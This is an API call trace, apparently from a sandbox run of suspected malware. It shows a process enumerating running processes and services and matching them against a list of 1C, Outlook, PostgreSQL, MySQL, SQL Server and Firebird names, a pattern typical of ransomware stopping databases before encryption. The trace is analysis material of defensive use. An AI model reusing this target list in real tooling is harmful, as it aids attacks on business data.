lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0172.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0172.112] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0172.112] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0172.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0172.112] lstrlenW (lpString="WPDBusEnum") returned 10 [0172.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0172.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0172.112] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0172.112] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0172.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0172.112] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f2050 | out: hHeap=0x300000) returned 1 [0172.112] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2e8 [0172.115] Process32FirstW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0172.115] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0172.115] lstrlenW (lpString="System") returned 6 [0172.115] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0172.115] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0172.115] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0172.115] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0172.115] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0172.115] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0172.115] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0172.116] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0172.116] lstrlenW (lpString="smss.exe") returned 8 [0172.116] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0172.116] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0172.116] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0172.116] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0172.116] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0172.116] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0172.116] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0172.116] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0172.117] lstrlenW (lpString="csrss.exe") returned 9 [0172.117] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0172.117] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0172.117] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0172.117] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0172.117] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0172.117] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0172.117] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0172.117] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0172.117] lstrlenW (lpString="wininit.exe") returned 11 [0172.117] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0172.117] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0172.117] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0172.117] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0172.117] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0172.117] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0172.117] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0172.117] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0172.118] lstrlenW (lpString="csrss.exe") returned 9 [0172.118] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0172.119] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0172.119] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0172.119] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0172.119] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0172.119] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0172.119] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0172.119] lstrlenW (lpString="winlogon.exe") returned 12 [0172.119] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0172.120] lstrlenW (lpString="services.exe") returned 12 [0172.120] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0172.120] lstrlenW (lpString="lsass.exe") returned 9 [0172.120] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0172.120] lstrlenW (lpString="lsm.exe") returned 7 [0172.120] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.121] lstrlenW (lpString="svchost.exe") returned 11 [0172.121] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.121] lstrlenW (lpString="svchost.exe") returned 11 [0172.121] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.122] lstrlenW (lpString="svchost.exe") returned 11 [0172.122] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.122] lstrlenW (lpString="svchost.exe") returned 11 [0172.122] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.122] lstrlenW (lpString="svchost.exe") returned 11 [0172.122] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0172.123] lstrlenW (lpString="audiodg.exe") returned 11 [0172.123] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.123] lstrlenW (lpString="svchost.exe") returned 11 [0172.123] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.124] lstrlenW (lpString="svchost.exe") returned 11 [0172.124] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0172.124] lstrlenW (lpString="spoolsv.exe") returned 11 [0172.124] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0172.124] lstrlenW (lpString="taskhost.exe") returned 12 [0172.124] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.125] lstrlenW (lpString="svchost.exe") returned 11 [0172.125] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0172.125] lstrlenW (lpString="dwm.exe") returned 7 [0172.125] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0172.125] lstrlenW (lpString="explorer.exe") returned 12 [0172.126] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0172.126] lstrlenW (lpString="3G6885.exe") returned 10 [0172.126] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0172.126] lstrlenW (lpString="reader_sl.exe") returned 13 [0172.126] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0172.127] lstrlenW (lpString="taskhost.exe") returned 12 [0172.127] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0172.127] lstrlenW (lpString="dllhost.exe") returned 11 [0172.127] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0172.127] lstrlenW (lpString="rundll32.exe") returned 12 [0172.127] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dinotify.exe")) returned 1 [0172.128] lstrlenW (lpString="dinotify.exe") returned 12 [0172.128] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x63c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0172.128] lstrlenW (lpString="dllhost.exe") returned 11 [0172.128] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0172.129] lstrlenW (lpString="3G6885.exe") returned 10 [0172.129] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 0 [0172.129] CloseHandle (hObject=0x2e8) returned 1 [0172.129] Sleep (dwMilliseconds=0x1f4) [0172.633] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d21c8 [0172.633] EnumServicesStatusExW (in: hSCManager=0x41d21c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0172.633] GetLastError () returned 0xea [0172.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x11e4) returned 0x3f2050 [0172.634] EnumServicesStatusExW (in: hSCManager=0x41d21c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f2050, cbBufSize=0x11e4, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f2050, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0172.634] CloseServiceHandle (hSCObject=0x41d21c8) returned 1 [0172.635] lstrlenW (lpString="Appinfo") returned 7 [0172.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0172.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0172.635] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0172.635] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0172.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0172.635] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0172.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0172.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0172.635] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0172.635] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0172.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0172.636] lstrlenW (lpString="AudioSrv") returned 8 [0172.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0172.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0172.636] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0172.636] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0172.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0172.636] lstrlenW (lpString="BFE") returned 3 [0172.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0172.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0172.636] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0172.636] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0172.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0172.636] lstrlenW (lpString="CryptSvc") returned 8 [0172.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0172.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0172.636] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0172.636] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0172.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0172.637] lstrlenW (lpString="CscService") returned 10 [0172.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0172.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0172.637] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0172.637] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0172.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0172.637] lstrlenW (lpString="DcomLaunch") returned 10 [0172.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0172.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0172.637] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0172.637] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0172.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0172.637] lstrlenW (lpString="Dhcp") returned 4 [0172.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0172.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0172.638] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0172.638] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0172.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0172.638] lstrlenW (lpString="Dnscache") returned 8 [0172.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0172.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0172.638] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0172.638] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0172.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0172.638] lstrlenW (lpString="DPS") returned 3 [0172.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0172.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0172.638] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0172.639] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0172.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0172.639] lstrlenW (lpString="eventlog") returned 8 [0172.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0172.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0172.639] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0172.639] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0172.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0172.639] lstrlenW (lpString="EventSystem") returned 11 [0172.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0172.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0172.639] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0172.639] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0172.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0172.639] lstrlenW (lpString="gpsvc") returned 5 [0172.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0172.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0172.639] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0172.640] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0172.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0172.640] lstrlenW (lpString="iphlpsvc") returned 8 [0172.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0172.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0172.640] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0172.640] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0172.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0172.640] lstrlenW (lpString="LanmanServer") returned 12 [0172.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0172.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0172.640] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0172.640] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0172.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0172.640] lstrlenW (lpString="LanmanWorkstation") returned 17 [0172.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0172.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0172.641] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0172.641] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0172.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0172.641] lstrlenW (lpString="lmhosts") returned 7 [0172.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0172.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0172.641] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0172.641] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0172.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0172.641] lstrlenW (lpString="MMCSS") returned 5 [0172.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0172.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0172.641] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0172.641] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0172.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0172.642] lstrlenW (lpString="MpsSvc") returned 6 [0172.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0172.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0172.642] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0172.642] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0172.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0172.642] lstrlenW (lpString="Netman") returned 6 [0172.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0172.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0172.642] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0172.642] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0172.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0172.642] lstrlenW (lpString="netprofm") returned 8 [0172.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0172.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0172.642] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0172.642] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 